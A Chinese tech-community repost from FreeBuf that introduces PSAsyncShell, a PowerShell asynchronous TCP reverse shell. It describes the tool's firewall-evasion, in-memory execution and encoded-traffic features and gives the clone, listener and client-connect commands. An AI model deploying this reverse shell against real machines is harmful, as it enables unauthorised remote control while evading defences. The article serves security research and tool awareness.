前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PSAsyncShell:一款功能强大的PowerShell异步TCP反向Shell

PSAsyncShell:一款功能强大的PowerShell异步TCP反向Shell

作者头像
FB客服
发布2022-11-14 15:24:28
6020
发布2022-11-14 15:24:28
举报
文章被收录于专栏:FreeBufFreeBuf

关于PSAsyncShell

PSAsyncShell是一款功能强大的PowerShell异步TCP反向Shell,该工具基于纯PowerShell开发,适用于安装并配置了PowerShell环境的设备使用。和其他反向Shell工具不同的是,该工具所实现的所有通信和执行流都是异步完成的,并实现了一些针对防火墙绕过和远程连接处理对策。

除此之外,该工具还提供了命令历史记录、屏幕清理、文件上传和下载、信息分块和反向Base64 URL编码流量等功能。

工具要求

PowerShell v4.0或更高版本

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/JoelGMSec/PSAsyncShell.git
(向右滑动,查看更多)

工具使用

正如我们在上图中看到的,该工具的使用非常简单,我们只需要让服务器部分监听并使用相应的目标 IP 和端口,然后与目标设备建立连接即可。

命令解释

监听来自客户端新传入的链接:

代码语言:javascript
复制
.\PSAsyncShell.ps1 -s -p listen_port

将客户端链接到一台PSAsyncShell服务器:

代码语言:javascript
复制
.\PSAsyncShell.ps1 -c server_ip server_port

工具使用样例

在下面的例子中,我们开启了一个Windows的反向Shell,并使用Linux设备作为服务器:

一切的操作都是异步完成的,也就是说,每次执行命令时,都会进行以下操作:

1、服务器从提示符读取命令并将其存储在变量中; 2、服务器侦听端口并准备发送; 3、客户端连接,接收命令,双方关闭连接; 4、客户端执行命令并保存变量中的结果; 5、服务器再次侦听端口,接收输出; 6、客户端再次连接并将命令的输出发送到服务器; 7、服务器接收它,解码并通过屏幕显示; 8、双方各自关闭连接;

其中,所有流量都通过 Base64 URL 反向编码,信息的执行和发送总是从内存中完成,并且任何时候都不会在磁盘上写入任何内容。

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

PSAsyncShell:https://github.com/JoelGMSec/PSAsyncShell

参考资料:

https://darkbyte.ne‍t/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于PSAsyncShell
  • 工具要求
  • 工具下载
  • 工具使用
    • 命令解释
    • 工具使用样例
    • 许可证协议
    • 项目地址
    • 参考资料:
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档